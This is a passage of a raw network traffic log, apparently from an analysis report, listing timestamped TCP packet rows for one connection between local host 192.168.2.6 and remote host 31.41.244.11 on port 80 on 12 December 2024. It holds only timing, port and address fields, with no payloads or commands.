Dec 12, 2024 21:50:12.731528044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.731609106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.731676102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.731688976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.731762886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.732311010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.732388973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.732389927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.732403040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.732450962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.732451916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.733045101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.733115911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.733130932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.733144999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.733180046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.733314037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.733762980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.733870029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.733897924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.733911037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.733964920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.733964920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.734627962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.734730005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.734741926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.734761000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.734792948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.734792948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.900965929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.901051044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.901067019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.901084900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.901235104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.901396036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.901487112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.901529074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.901541948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.901669979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.902004004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.902081013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.902131081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.902308941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.902335882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.902352095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.902420998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.902592897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.902905941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.903018951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.903048038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.903060913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.903101921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.903181076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.903655052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.903748035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.903774023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.903786898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.903925896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.904498100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.904649973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.904679060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.904681921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.904715061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.904746056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.905253887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.905324936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.905368090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.905380964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.905457020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.905982971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.906064034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.906100035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.906243086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.906255960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.906306982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.906728029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.906805992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.906846046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.906858921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.907042027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.907543898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.907618046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.907629967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.907649040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.907701969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.908258915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.908400059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.908411980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.908427954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.908462048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.908510923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.908994913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.909141064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.909154892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.909446955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.909758091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.909869909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.909882069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.909951925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.909951925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.910516024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.910631895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.910643101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.910665035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.910744905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.911271095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.911410093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.911422968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.911485910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.911485910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.912034035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.912161112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.912179947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.912200928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.912240028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.912836075 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.912946939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.912961960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.913032055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.913032055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.913662910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.913752079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.913764000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.913778067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.913826942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.914352894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.914444923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.914473057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.914486885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.914537907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.914537907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.915096045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.915231943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.915232897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.915246964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.915297985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.915297985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.915883064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.915961027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.915998936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.916009903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.916085005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.916620970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.916742086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.916745901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.916759968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.916865110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.917393923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.917489052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.917500973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.917548895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.917617083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.918143988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.918445110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.918476105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.918517113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.918530941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.918610096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.918610096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.919224977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.919382095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.919394016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.919562101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.919954062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.920064926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.920077085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.920098066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.920129061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.920129061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.920675993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.920783043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.920804977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.920818090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.920917988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.921458006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.921557903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.921570063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.921581030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.921633005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.921633005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.922215939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.922332048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.922343969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.922344923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.922395945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.922395945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.922962904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.923144102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.923156977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.923223019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.923223019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.923706055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.923810005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.923846006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.923856974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.923911095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.924527884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.924583912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.924638033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.924652100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.924715996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.924715996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.925355911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.925431013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.925442934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.925450087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.925488949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.925488949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.925997972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.926126003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.926131964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.926146030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.926192045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.926285982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.926867008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.926943064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.926954985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:12.926975965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:12.927030087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.093486071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.093646049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.093698978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.093775988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.093779087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.093863964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.094106913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.094178915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.094265938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.094357967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.094444036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.094523907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.094614029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.094683886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.094722033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.094804049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.094968081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.095196009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.095361948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.095515013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.095534086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.095551014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.095701933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.096111059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.096251965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.096273899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.096312046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.096313000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.096386909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.096863985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.096968889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.096973896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.096990108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.097023010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.097429037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.097652912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.097727060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.097742081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.097748041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.097779036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.097922087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.098347902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.098428965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.098462105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.098478079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.098527908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.098527908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.099174976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.099283934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.099301100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.099366903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.099905968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.100003958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.100047112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.100064039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.100123882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.100123882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.100696087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.100810051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.100825071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.100843906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.100931883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.101458073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.101516962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.101641893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.101658106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.101711988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.101711988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.102186918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.102278948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.102329016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.102344990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.102399111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.102399111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.102967978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.103050947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.103101015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.103116989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.103188038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.103188038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.103754997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.103837013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.103848934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.103863955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.103914976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.103914976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.104512930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.104579926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.104661942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.104681969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.104713917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.104763985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.105237961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.105326891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.105371952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.105387926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.105434895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.105434895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.106034994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.106112003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.106137037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.106154919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.106198072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.106198072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.106970072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.107055902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.107100010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.107120991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.107157946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.107203007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.107578993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.107656002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.107669115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.107687950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.107742071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.107742071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.108305931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.108372927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:13.108431101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.108448029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:13.108475924 CET	49878	80	192.168.2.6	31.41.244.11
